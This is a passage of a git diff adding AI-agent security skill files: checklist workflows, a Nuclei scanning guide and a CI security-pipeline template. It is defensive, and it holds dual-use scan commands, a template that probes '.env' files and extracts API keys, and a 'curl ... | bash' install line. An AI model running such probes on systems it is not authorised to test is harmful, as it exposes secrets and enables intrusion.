authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/dast-nuclei/SKILL.md b/skills/appsec/dast-nuclei/SKILL.md new file mode 100644 index 0000000..0b6990c --- /dev/null +++ b/skills/appsec/dast-nuclei/SKILL.md @@ -0,0 +1,510 @@ +--- +name: dast-nuclei +description: > + Fast, template-based vulnerability scanning using ProjectDiscovery's Nuclei with extensive community + templates covering CVEs, OWASP Top 10, misconfigurations, and security issues across web applications, + APIs, and infrastructure. Use when: (1) Performing rapid vulnerability scanning with automated CVE + detection, (2) Testing for known vulnerabilities and security misconfigurations in web apps and APIs, + (3) Running template-based security checks in CI/CD pipelines with customizable severity thresholds, + (4) Creating custom security templates for organization-specific vulnerability patterns, (5) Scanning + multiple targets efficiently with concurrent execution and rate limiting controls. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [dast, nuclei, vulnerability-scanning, cve, owasp, api-testing, automation, templates] +frameworks: [OWASP, CWE, CVE] +dependencies: + tools: [nuclei] + optional: [docker, git] +references: + - https://docs.projectdiscovery.io/tools/nuclei/overview + - https://github.com/projectdiscovery/nuclei + - https://github.com/projectdiscovery/nuclei-templates +--- + +# DAST with Nuclei + +## Overview + +Nuclei is a fast, template-based vulnerability scanner from ProjectDiscovery that uses YAML templates to detect +security vulnerabilities, misconfigurations, and exposures across web applications, APIs, networks, and cloud +infrastructure. With 7,000+ community templates covering CVEs, OWASP vulnerabilities, and custom checks, Nuclei +provides efficient automated security testing with minimal false positives. + +## Quick Start + +### Installation + +```bash +# Install via Go +go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest + +# Or using Docker +docker pull projectdiscovery/nuclei:latest + +# Update templates (automatically downloads 7000+ community templates) +nuclei -update-templates +``` + +### Basic Vulnerability Scan + +```bash +# Scan single target with all templates +nuclei -u https://target-app.com + +# Scan with specific severity levels +nuclei -u https://target-app.com -severity critical,high + +# Scan multiple targets from file +nuclei -list targets.txt -severity critical,high,medium -o results.txt +``` + +### Quick CVE Scan + +```bash +# Scan for specific CVEs +nuclei -u https://target-app.com -tags cve -severity critical,high + +# Scan for recent CVEs +nuclei -u https://target-app.com -tags cve -severity critical -template-condition "contains(id, 'CVE-')" +``` + +## Core Workflow + +### Workflow Checklist + +Progress: +[ ] 1. Install Nuclei and update templates to latest version +[ ] 2. Define target scope (URLs, domains, IP ranges) +[ ] 3. Select appropriate templates based on target type and risk tolerance +[ ] 4. Configure scan parameters (rate limiting, severity, concurrency) +[ ] 5. Execute scan with proper authentication if needed +[ ] 6. Review findings, filter false positives, and verify vulnerabilities +[ ] 7. Map findings to OWASP/CWE frameworks +[ ] 8. Generate security report with remediation guidance + +Work through each step systematically. Check off completed items. + +### Step 1: Template Selection and Target Scoping + +Identify target applications and select relevant template categories: + +```bash +# List available template categories +nuclei -tl + +# List templates by tag +nuclei -tl -tags owasp +nuclei -tl -tags cve,misconfig + +# Show template statistics +nuclei -tl -tags cve -severity critical | wc -l +``` + +**Template Categories:** +- **cve**: Known CVE vulnerabilities (7000+ CVE templates) +- **owasp**: OWASP Top 10 vulnerabilities +- **misconfig**: Common security misconfigurations +- **exposed-panels**: Admin panels and login pages +- **takeovers**: Subdomain takeover vulnerabilities +- **default-logins**: Default credentials +- **exposures**: Sensitive file and data exposures +- **tech**: Technology detection and fingerprinting + +**Target Scoping Best Practices:** +- Create target list excluding third-party services +- Group targets by application type for focused scanning +- Define exclusions for sensitive endpoints (payment, logout, delete actions) + +### Step 2: Configure Scan Parameters + +Set appropriate rate limiting and concurrency for target environment: + +```bash +# Conservative scan (avoid overwhelming target) +nuclei -u https://target-app.com \ + -severity critical,high \ + -rate-limit 50 \ + -concurrency 10 \ + -timeout 10 + +# Aggressive scan (faster, higher load) +nuclei -u https://target-app.com \ + -severity critical,high,medium \ + -rate-limit 150 \ + -concurrency 25 \ + -bulk-size 25 +``` + +**Parameter Guidelines:** +- **rate-limit**: Requests per second (50-150 typical, lower for production) +- **concurrency**: Parallel template execution (10-25 typical) +- **bulk-size**: Parallel host scanning (10-25 for multiple targets) +- **timeout**: Per-request timeout in seconds (10-30 typical) + +For CI/CD integration patterns, see `scripts/nuclei_ci.sh`. + +### Step 3: Execute Targeted Scans + +Run scans based on security objectives: + +**Critical Vulnerability Scan:** +```bash +# Focus on critical and high severity issues +nuclei -u https://target-app.com \ + -severity critical,high \ + -tags cve,owasp \ + -o critical-findings.txt \ + -json -jsonl-export critical-findings.jsonl +``` + +**Technology-Specific Scan:** +```bash +# Scan specific technology stack +nuclei -u https://target-app.com -tags apache,nginx,wordpress,drupal + +# Scan for exposed sensitive files +nuclei -u https://target-app.com -tags exposure,config + +# Scan for authentication issues +nuclei -u https://target-app.com -tags auth,login,default-logins +``` + +**API Security Scan:** +```bash +# API-focused security testing +nuclei -u https://api.target.com \ + -tags api,graphql,swagger \ + -severity critical,high,medium \ + -header "Authorization: Bearer $API_TOKEN" +``` + +**Custom Template Scan:** +```bash +# Scan with organization-specific templates +nuclei -u https://target-app.com \ + -t custom-templates/ \ + -t nuclei-templates/http/cves/ \ + -severity critical,high +``` + +### Step 4: Authenticated Scanning + +Perform authenticated scans for complete coverage: + +```bash +# Scan with authentication headers +nuclei -u https://target-app.com \ + -header "Authorization: Bearer $AUTH_TOKEN" \ + -header "Cookie: session=$SESSION_COOKIE" \ + -tags cve,owasp + +# Scan with custom authentication using bundled script +python3 scripts/nuclei_auth_scan.py \ + --target https://target-app.com \ + --auth-type bearer \ + --token-env AUTH_TOKEN \ + --severity critical,high \ + --output auth-scan-results.jsonl +``` + +For OAuth, SAML, and MFA scenarios, see `references/authentication_patterns.md`. + +### Step 5: Results Analysis and Validation + +Review findings and eliminate false positives: + +```bash +# Parse JSON output for high-level summary +python3 scripts/parse_nuclei_results.py \ + --input critical-findings.jsonl \ + --output report.html \ + --group-by severity + +# Filter and verify findings +nuclei -u https://target-app.com \ + -tags cve \ + -severity critical \ + -verify \ + -verbose +``` + +**Validation Workflow:** +1. Review critical findings first (immediate action required) +2. Verify each finding manually (curl, browser inspection, PoC testing) +3. Check for false positives using `references/false_positive_guide.md` +4. Map confirmed vulnerabilities to OWASP Top 10 using `references/owasp_mapping.md` +5. Cross-reference with CWE classifications for remediation patterns + +**Feedback Loop Pattern:** +```bash +# 1. Initial scan +nuclei -u https://target-app.com -severity critical,high -o scan1.txt + +# 2. Apply fixes to identified vulnerabilities + +# 3. Re-scan to verify remediation +nuclei -u https://target-app.com -severity critical,high -o scan2.txt + +# 4. Compare results to ensure vulnerabilities are resolved +diff scan1.txt scan2.txt +``` + +### Step 6: Reporting and Remediation Tracking + +Generate comprehensive security reports: + +```bash +# Generate detailed report with OWASP/CWE mappings +python3 scripts/nuclei_report_generator.py \ + --input scan-results.jsonl \ + --output security-report.html \ + --format html \ + --include-remediation \ + --map-frameworks owasp,cwe + +# Export to SARIF for GitHub Security tab +nuclei -u https://target-app.com \ + -severity critical,high \ + -sarif-export github-sarif.json +``` + +See `assets/report_templates/` for customizable report formats. + +## Automation & CI/CD Integration + +### GitHub Actions Integration + +```yaml +# .github/workflows/nuclei-scan.yml +name: Nuclei Security Scan +on: [push, pull_request] + +jobs: + nuclei: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Nuclei Scan + uses: projectdiscovery/nuclei-action@main + with: + target: https://staging.target-app.com + severity: critical,high + templates: cves,owasp,misconfig + + - name: Upload Results + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: nuclei.sarif +``` + +### Docker-Based CI/CD Scanning + +```bash +# Run in CI/CD pipeline with Docker +docker run --rm \ + -v $(pwd):/reports \ + projectdiscovery/nuclei:latest \ + -u $TARGET_URL \ + -severity critical,high \ + -json -jsonl-export /reports/nuclei-results.jsonl + +# Check exit code and fail build on critical findings +if grep -q '"severity":"critical"' nuclei-results.jsonl; then + echo "Critical vulnerabilities detected!" + exit 1 +fi +``` + +### Advanced Automation with Custom Scripts + +```bash +# Automated multi-target scanning with parallel execution +./scripts/nuclei_bulk_scanner.sh \ + --targets-file production-apps.txt \ + --severity critical,high \ + --slack-webhook $SLACK_WEBHOOK \ + --output-dir scan-reports/ + +# Scheduled vulnerability monitoring +./scripts/nuclei_scheduler.sh \ + --schedule daily \ + --targets targets.txt \ + --diff-mode \ + --alert-on new-findings +``` + +For complete CI/CD integration examples, see `scripts/ci_integration_examples/`. + +## Custom Template Development + +Create organization-specific security templates: + +```yaml +# custom-templates/api-key-exposure.yaml +id: custom-api-key-exposure +info: + name: Custom API Key Exposure Check + author: security-team + severity: high + description: Detects exposed API keys in custom application endpoints + tags: api,exposure,custom + +http: + - method: GET + path: + - "{{BaseURL}}/api/v1/config" + - "{{BaseURL}}/.env" + + matchers-condition: and + matchers: + - type: word + words: + - "api_key" + - "secret_key" + + - type: status + status: + - 200 + + extractors: + - type: regex + name: api_key + regex: + - 'api_key["\s:=]+([a-zA-Z0-9_-]{32,})' +``` + +**Template Development Resources:** +- `references/template_development.md` - Complete template authoring guide +- `assets/template_examples/` - Sample templates for common patterns +- [Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction) + +## Security Considerations + +- **Authorization**: Obtain explicit written permission before scanning any systems not owned by your organization +- **Rate Limiting**: Configure appropriate rate limits to avoid overwhelming target applications or triggering DDoS protections +- **Production Safety**: Use conservative scan parameters (rate-limit 50, concurrency 10) for production environments +- **Sensitive Data**: Scan results may contain sensitive URLs, parameters, and application details - sanitize before sharing +- **False Positives**: Manually verify all critical and high severity findings before raising security incidents +- **Access Control**: Restrict access to scan results and templates containing organization-specific vulnerability patterns +- **Audit Logging**: Log all scan executions, targets, findings severity, and remediation actions for compliance +- **Legal Compliance**: Adhere to computer fraud and abuse laws; unauthorized scanning may violate laws +- **Credentials Management**: Never hardcode credentials in templates; use environment variables or secrets management +- **Scope Validation**: Double-check target lists to avoid scanning third-party or out-of-scope systems + +## Bundled Resources + +### Scripts (`scripts/`) + +- `nuclei_ci.sh` - CI/CD integration wrapper with exit code handling and artifact generation +- `nuclei_auth_scan.py` - Authenticated scanning with multiple authentication methods (Bearer, API key, Cookie) +- `nuclei_bulk_scanner.sh` - Parallel scanning of multiple targets with aggregated reporting +- `nuclei_scheduler.sh` - Scheduled scanning with diff detection and alerting +- `parse_nuclei_results.py` - JSON/JSONL parser for generating HTML/CSV reports with severity grouping +- `nuclei_report_generator.py` - Comprehensive report generator with OWASP/CWE mappings and remediation guidance +- `template_validator.py` - Custom template validation and testing framework + +### References (`references/`) + +- `owasp_mapping.md` - OWASP Top 10 mapping for Nuclei findings +- `template_development.md` - Custom template authoring guide +- `authentication_patterns.md` - Advanced authentication patterns (OAuth, SAML, MFA) +- `false_positive_guide.md` - False positive identification and handling + +### Assets (`assets/`) + +- `github_actions.yml` - GitHub Actions workflow with SARIF export +- `nuclei_config.yaml` - Comprehensive configuration template + +## Common Patterns + +### Pattern 1: Progressive Severity Scanning + +Start with critical vulnerabilities and progressively expand scope: + +```bash +# Stage 1: Critical vulnerabilities only (fast) +nuclei -u https://target-app.com -severity critical -o critical.txt + +# Stage 2: High severity if critical issues found +if [ -s critical.txt ]; then + nuclei -u https://target-app.com -severity high -o high.txt +fi + +# Stage 3: Medium/Low for comprehensive assessment +nuclei -u https://target-app.com -severity medium,low -o all-findings.txt +``` + +### Pattern 2: Technology-Specific Scanning + +Focus on known technology stack vulnerabilities: + +```bash +# 1. Identify technologies +nuclei -u https://target-app.com -tags tech -o tech-detected.txt + +# 2. Parse detected technologies +TECHS=$(grep -oP 'matched at \K\w+' tech-detected.txt | sort -u) + +# 3. Scan for technology-specific vulnerabilities +for tech in $TECHS; do + nuclei -u https://target-app.com -tags $tech -severity critical,high -o vulns-$tech.txt +done +``` + +### Pattern 3: Multi-Stage API Security Testing + +Comprehensive API security assessment: + +```bash +# Stage 1: API discovery and fingerprinting +nuclei -u https://api.target.com -tags api,swagger,graphql -o api-discovery.txt + +# Stage 2: Authentication testing +nuclei -u https://api.target.com -tags auth,jwt,oauth -o api-auth.txt + +# Stage 3: Known API CVEs +nuclei -u https://api.target.com -tags api,cve -severity critical,high -o api-cves.txt + +# Stage 4: Business logic testing with custom templates +nuclei -u https://api.target.com -t custom-templates/api/ -o api-custom.txt +``` + +### Pattern 4: Continuous Security Monitoring + +```bash +# Daily scan with diff detection +nuclei -u https://production-app.com \ + -severity critical,high -tags cve \ + -json -jsonl-export scan-$(date +%Y%m%d).jsonl + +# Use bundled scripts for diff analysis and alerting +``` + +## Integration Points + +- **CI/CD**: GitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps, Travis CI +- **Issue Tracking**: Jira, GitHub Issues, ServiceNow, Linear (via SARIF or custom scripts) +- **Security Platforms**: Defect Dojo, Splunk, ELK Stack, SIEM platforms (via JSON export) +- **Notification**: Slack, Microsoft Teams, Discord, PagerDuty, email (via webhook scripts) +- **SDLC**: Pre-deployment scanning, security regression testing, vulnerability monitoring +- **Cloud Platforms**: AWS Lambda, Google Cloud Functions, Azure Functions (serverless scanning) +- **Reporting**: HTML, JSON, JSONL, SARIF, Markdown, CSV formats + +## Troubleshooting + +Common issues and solutions: + +- **Too Many False Positives**: Filter by severity (`-severity critical,high`), exclude tags (`-etags tech,info`). See `references/false_positive_guide.md` +- **Incomplete Coverage**: Verify templates loaded (`nuclei -tl | wc -l`), update templates (`nuclei -update-templates`) +- **Rate Limiting/WAF**: Reduce aggressiveness (`-rate-limit 20 -concurrency 5 -timeout 15`) +- **High Resource Usage**: Reduce parallelism (`-concurrency 5 -bulk-size 5`) +- **Auth Headers Not Working**: Debug with `-debug`, verify token format, see `references/authentication_patterns.md` + +## References + +- [Nuclei Documentation](https://docs.projectdiscovery.io/tools/nuclei/overview) +- [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates) +- [OWASP Top 10](https://owasp.org/Top10/) +- [CWE Database](https://cwe.mitre.org/) diff --git a/skills/appsec/dast-nuclei/assets/.gitkeep b/skills/appsec/dast-nuclei/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/appsec/dast-nuclei/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/appsec/dast-nuclei/assets/ci-config-template.yml b/skills/appsec/dast-nuclei/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/appsec/dast-nuclei/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/appsec/dast-nuclei/assets/github_actions.yml b/skills/appsec/dast-nuclei/assets/github_actions.yml new file mode 100644 index 0000000..57cb463 --- /dev/null +++ b/skills/appsec/dast-nuclei/assets/github_actions.yml @@ -0,0 +1,192 @@ +# GitHub Actions Workflow for Nuclei Security Scanning +# Place this file in .github/workflows/nuclei-scan.yml + +name: Nuclei Security Scan + +on: + push: + branches: [ main, develop ] + pull_request: + branches: [ main ] + schedule: + # Run daily at 2 AM UTC + - cron: '0 2 * * *' + workflow_dispatch: + inputs: + 